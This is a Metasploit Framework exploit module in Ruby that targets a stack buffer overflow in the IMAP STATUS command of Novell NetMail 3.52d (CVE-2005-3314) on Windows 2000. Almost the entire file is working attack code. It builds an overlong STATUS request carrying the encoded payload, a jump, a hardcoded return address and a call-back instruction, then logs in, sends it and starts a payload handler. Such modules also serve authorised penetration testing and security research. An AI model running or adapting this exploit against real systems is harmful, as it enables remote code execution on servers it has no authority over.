## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Imap def initialize(info = {}) super(update_info(info, 'Name' => 'Novell NetMail <= 3.52d IMAP STATUS Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in Novell's Netmail 3.52 IMAP STATUS verb. By sending an overly long string, an attacker can overwrite the buffer and control program execution. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2005-3314' ], [ 'OSVDB', '20956' ], [ 'BID', '15491' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 500, 'BadChars' => "\x00\x0a\x0d\x20", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ ['Windows 2000 SP0-SP4 English', { 'Ret' => 0x75022ac4 }], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 18 2005')) end def exploit sploit = "a002 STATUS " + rand_text_english(1602) + payload.encoded sploit << "\xeb\x06" + rand_text_english(2) + [target.ret].pack('V') sploit << [0xe8, -485].pack('CV') + rand_text_english(150) + " inbox" info = connect_login if (info == true) print_status("Trying target #{target.name}...") sock.put(sploit + "\r\n") else print_status("Not falling through with exploit") end handler disconnect end end